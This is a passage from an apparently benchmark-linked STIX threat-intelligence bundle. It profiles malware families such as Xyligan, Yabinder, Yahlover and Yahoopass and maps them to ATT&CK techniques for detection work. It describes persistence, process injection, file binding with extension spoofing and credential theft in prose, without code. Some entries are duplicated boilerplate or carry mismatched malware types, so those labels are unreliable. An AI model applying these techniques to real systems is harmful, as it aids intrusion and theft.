      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xylauncher exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e69c06f-ecf8-59e4-8a7f-ec52368d005f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c54af30c-91b9-5329-b9b1-23e3095448f7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xylauncher exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a7fe3a0-0086-5387-8951-d11958d307f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c54af30c-91b9-5329-b9b1-23e3095448f7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xylauncher exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c94b6cc-54dd-507c-a8b1-a4e715437a96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c54af30c-91b9-5329-b9b1-23e3095448f7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xylauncher exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--15f03176-2fbf-5cb5-8b64-34e10b290ce5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xyligan",
      "description": "Trojan:Win32/Xyligan is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xyligan</b><br>To an end-user, a Xyligan infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xyligan is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xyligan is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xyligan frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xyligan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xyligan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xyligan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b52eea4-f609-5ec9-9efe-7ef8282a527a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15f03176-2fbf-5cb5-8b64-34e10b290ce5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xyligan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4de189f0-5398-501f-bd2e-1b1bafc551f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15f03176-2fbf-5cb5-8b64-34e10b290ce5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xyligan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37a4d20a-59f9-50ed-b8be-91c893c70a21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15f03176-2fbf-5cb5-8b64-34e10b290ce5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xyligan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82a7416a-6b98-52bb-8627-3a046fbd6f92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15f03176-2fbf-5cb5-8b64-34e10b290ce5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xyligan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a431706c-b8ed-52ad-a8d8-a4f0c3bd1e47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15f03176-2fbf-5cb5-8b64-34e10b290ce5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xyligan exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--068d63c7-5795-53c5-9310-de8699cb1916",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xyntservice",
      "description": "HackTool:Win32/Xyntservice is a legitimate, open-source utility designed to run any standard Windows executable (.exe) as a background Windows Service. While it has valid administrative uses, it is frequently classified as malicious because threat actors heavily abuse it to establish stealthy persistence for their malware payloads (`T1543.003`), bypassing the need to write custom service-handling code.<br><br><b>Understanding Xyntservice (Service Wrappers)</b><br>To an end-user, the infection is invisible, as services run in the background (Session 0) without a GUI. For an administrator, finding `xyntservice.exe` on a workstation is highly suspicious. Attackers use it to ensure their RATs, InfoStealers, or Cryptominers launch automatically with SYSTEM privileges every time the machine boots, before any user even logs in.<br><br><b>Execution and Persistence Mechanics</b><br>Once an attacker achieves administrative access on a system, they drop `xyntservice.exe` along with their malware payload and an `.ini` configuration file (which specifies which executable to run). They then execute `xyntservice.exe -i` to install the service (`T1569.002`). Because Xyntservice is a known, ostensibly legitimate tool, it may occasionally bypass behavioral detection that would otherwise flag a newly created, unsigned service binary.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is highly privileged, persistent execution for the wrapped malware. Host-based IoCs include the presence of `xyntservice.exe` and its associated `.ini` file, often located in hidden directories or `C:\\Windows\\System32`. The Windows Event Log (System) will show Event ID 7045 (A new service was installed in the system) referencing Xyntservice. EDR will flag `xyntservice.exe` spawning unexpected child processes (the actual malware payload) running as `NT AUTHORITY\\SYSTEM`. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xyntservice",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xyntservice"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--812e1013-e4f4-5aeb-baa1-a5f105a721df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--068d63c7-5795-53c5-9310-de8699cb1916",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xyntservice exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Abusing the wrapper to establish persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa21644f-6ba4-5e92-a5f9-05559e88408f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--068d63c7-5795-53c5-9310-de8699cb1916",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xyntservice exhibits technique T1569.002 (System Services: Service Execution (Running the payload via the Service Control Manager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e3c763d-58e1-59e4-9d31-d80eec8897bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Y3K_Rat",
      "description": "Y3K RAT (cataloged across legacy security archives as Y3K 1.6, Backdoor.Y3K, and Trojan.Win32.Y3K) is an iconic early-2000s Remote Access Trojan created in Visual Basic around 2001. Operating under a classic client-server model, Y3K RAT allowed unauthorized operators to remotely manipulate Windows 9x, ME, and 2000 endpoints over TCP connections. Upon execution, the Y3K server binary installs itself into the Windows System folder, writes autostart entries to the registry Run keys, and listens for inbound administrative sessions. Once connected, attackers were provided with extensive remote surveillance and administrative controls, including real-time desktop screen captures, file system navigation, file upload and download, remote process management, keyboard logging, and hardware tampering routines such as opening CD trays and playing synthesized sounds.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Y3K RAT",
        "Y3K 1.6",
        "Backdoor.Y3K",
        "Trojan.Win32.Y3K",
        "Backdoor:Win32/Y3K"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Y3K_Rat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/y3k_rat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8008b4ca-cbdd-5ad4-baf8-aafc89d5f39b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3c763d-58e1-59e4-9d31-d80eec8897bd",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Y3K_Rat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4a50d09-8e92-5d2e-84f6-e6838065cd8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3c763d-58e1-59e4-9d31-d80eec8897bd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Y3K_Rat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2ea9dd6-3f16-5ae9-89dc-41cdfb4a22f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3c763d-58e1-59e4-9d31-d80eec8897bd",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Y3K_Rat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04c178e8-7f64-52ea-88b6-d20932acf3bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3c763d-58e1-59e4-9d31-d80eec8897bd",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Y3K_Rat exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa52560f-2809-5eac-aa6f-ed8142139f81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3c763d-58e1-59e4-9d31-d80eec8897bd",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Y3K_Rat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e4963a9c-faf3-53b4-a310-bb4bba12704a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yabinder",
      "description": "HackTool:Win32/Yabinder is a utility program used maliciously by threat actors to combine (or 'bind') multiple executable files into a single, seamless executable. Its primary objective is deceptive delivery: attackers use Yabinder to attach a malicious payload (like a trojan or RAT) to a legitimate, seemingly benign application (like a game, a PDF, or a utility tool) to trick the user into executing the malware (`T1566`).<br><br><b>Understanding Yabinder (File Binders)</b><br>To an end-user, the output of Yabinder looks and acts like the program they intended to download. When they double-click it, the legitimate program opens normally. However, for a security analyst, Yabinder represents a classic evasion technique. In the background, invisible to the user, the 'binder' has simultaneously dropped and executed the hidden malware payload.<br><br><b>Execution and Binding Mechanics</b><br>Yabinder operates by taking two or more input files and creating a 'stub' executable. When this stub is executed, it unpacks the bound files into a temporary directory (usually `%Temp%` or `%AppData%`). It then executes both files. To increase deception, binders often allow the attacker to set a custom icon for the resulting executable (e.g., a PDF icon) and use 'Right-to-Left Override' (RTLO) characters to spoof the file extension, making `evil_pdf_exe.pdf` look like `evil_pdf.pdf` (`T1036.002`). The dropped malware then establishes its own persistence independently of the legitimate carrier file.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the successful execution of the hidden secondary payload (which could be anything from adware to ransomware). Host-based IoCs include EDR alerts for a seemingly legitimate application (e.g., a Flash Player installer) suddenly dropping an unrelated, obfuscated `.exe` or `.dll` into the `%Temp%` directory and executing it. The presence of known binder stub signatures (specific PE section names or unpacking routines) is a strong static indicator. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yabinder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yabinder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--043d1c6c-f68e-583d-aabc-8634af89d2e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4963a9c-faf3-53b4-a310-bb4bba12704a",
      "target_ref": "attack-pattern--59c4c1b0-f2e6-51e0-98a9-1fdd9126a5d7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yabinder exhibits technique T1036.002 (Masquerading: Right-to-Left Override (Spoofing the file extension of the bound executable))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--039c68ba-fbbc-53fc-899c-2a1c34b52e8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4963a9c-faf3-53b4-a310-bb4bba12704a",
      "target_ref": "attack-pattern--20e5386c-6e50-506e-97e9-42f037007043",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yabinder exhibits technique T1566 (Phishing (Social engineering the user into clicking the bound file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2421850-ea06-5274-8feb-93b26e04bdce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4963a9c-faf3-53b4-a310-bb4bba12704a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yabinder exhibits technique T1027 (Obfuscated Files or Information (Hiding the payload within the binder stub))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d99721fd-0111-5b5d-941c-4cf2bf1479c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yahlover",
      "description": "Worm:Win32/Yahlover (also known as the **Yahoo Messenger Worm**) is a prolific mass-mailing and instant messaging worm that aggressively spread by hijacking Yahoo Messenger accounts to blast malicious links to the victim's entire contact list. Beyond its massive propagation capabilities, Yahlover is highly destructive, acting as a file infector (`.exe` and `.dll` files) and aggressively disabling endpoint security software.<br><br><b>Understanding the Yahlover Worm</b><br>To an infected user, the computer might become unstable, and their friends would complain about receiving strange links via Yahoo Messenger. For security analysts, Yahlover represents a severe, dual-threat incident. It acts as an aggressive network worm causing massive congestion, and simultaneously acts as a file infector, meaning simply deleting the worm executable is not enough to remediate the endpoint, as legitimate system files have been structurally altered.<br><br><b>Propagation and File Infection Mechanics</b><br>The infection cycle begins when a victim clicks a malicious link received via Instant Messenger (`T1534`) or opens an infected email attachment. Upon execution (`T1204.002`), Yahlover establishes persistence via multiple Registry Run keys (`T1547.001`). Its primary propagation mechanism is hijacking the active Yahoo Messenger session to send messages containing a link to a copy of itself to all online contacts. Concurrently, it acts as a File Infector (`T1055.001` - logic injection), searching the hard drive for executable files (`.exe`, `.scr`, `.pif`) and physically appending its malicious code to the legitimate binaries. Furthermore, Yahlover aggressively terminates processes and deletes registry keys associated with hundreds of popular antivirus and firewall products (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the hijacking of communication platforms, the corruption of legitimate executables, and the disabling of endpoint security. The most glaring IoC is an overwhelming surge in outbound IM traffic or automated messages originating from the user's account. Host-based IoCs include EDR alerts for the sudden, forceful termination of antivirus processes and the modification (file size changes and hash changes) of hundreds of legitimate `.exe` files across the `C:\\` drive. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yahlover",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yahlover"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd6234a0-5ca6-5246-b94e-fb57851cd7b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d99721fd-0111-5b5d-941c-4cf2bf1479c9",
      "target_ref": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yahlover exhibits technique T1534 (Internal Spearphishing (Propagating via Instant Messenger))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3113ccae-4a4d-5bb3-ae73-4b23291ee7a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d99721fd-0111-5b5d-941c-4cf2bf1479c9",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yahlover exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (File Infection logic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08fd9224-3b65-5083-a41a-a683abd7d55a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d99721fd-0111-5b5d-941c-4cf2bf1479c9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yahlover exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Killing AV processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec4b1156-f131-550f-a63d-f3e1da5fb731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d99721fd-0111-5b5d-941c-4cf2bf1479c9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yahlover exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--20eaa259-d35d-5da1-b0f6-1e4d52c1ffe6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yahoopass",
      "description": "Trojan:Win32/Yahoopass (or Trojan-PSW:Win32/Yahoopass) is a specialized, targeted credential stealer designed specifically to harvest Yahoo! account credentials, primarily Yahoo! Messenger and Yahoo! Mail passwords. While highly prevalent in the mid-to-late 2000s when Yahoo! Messenger was dominant, the techniques it employs represent the foundational blueprint for modern, application-specific password stealers (`T1552`).<br><br><b>Understanding Yahoopass (Targeted Credential Stealer)</b><br>To an end-user, the infection is silent. They log into their Yahoo account normally, completely unaware that their credentials have been captured and transmitted to an attacker. For a security analyst, Yahoopass demonstrates how attackers build bespoke tools targeting specific applications, exploiting how those applications store or transmit authentication data.<br><br><b>Execution and Theft Mechanics</b><br>Yahoopass was typically distributed via phishing emails or malicious links sent over instant messaging networks. Upon execution, it does not typically act as a general keylogger. Instead, it specifically targets the Yahoo! application. It searches the Windows Registry and file system for stored, weakly encrypted session tokens or saved passwords (`T1552.001`). If a user types their password, Yahoopass often uses API hooking to intercept the specific login form submission, or it dumps the credentials directly from the application's memory space. The stolen data is then exfiltrated via email (SMTP) or HTTP POST to an attacker-controlled drop zone.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total compromise of the targeted user account, which can then be used for further phishing or identity theft. Host-based IoCs include EDR alerts for unknown executables accessing Yahoo! application directories or attempting to read specific registry keys associated with saved credentials. Network IoCs involve unauthorized outbound SMTP traffic (sending the stolen logs via email) or HTTP POST requests containing encrypted credential blobs. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yahoopass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yahoopass"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e0bc100-8762-5760-a7b9-3726b2a368ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20eaa259-d35d-5da1-b0f6-1e4d52c1ffe6",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yahoopass exhibits technique T1552.001 (Unsecured Credentials: Credentials In Files (Searching for saved Yahoo session data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67df160e-9a3d-5e23-812e-4d27b2826597",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20eaa259-d35d-5da1-b0f6-1e4d52c1ffe6",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yahoopass exhibits technique T1056.001 (Input Capture: Keylogging (Targeted hooking of login forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e38bbf57-af23-5fb8-aad8-8d0308a83870",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20eaa259-d35d-5da1-b0f6-1e4d52c1ffe6",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yahoopass exhibits technique T1005 (Data from Local System (Staging stolen credentials for exfiltration))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e0088b0-f8a0-5499-bb02-734fa3666a67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yakbeex",
      "description": "Trojan:Win32/Yakbeex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Yakbeex</b><br>To an end-user, a Yakbeex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Yakbeex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Yakbeex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Yakbeex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Yakbeex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yakbeex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yakbeex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d17a2bad-e06f-5c12-8c45-22c35c21e06a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0088b0-f8a0-5499-bb02-734fa3666a67",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
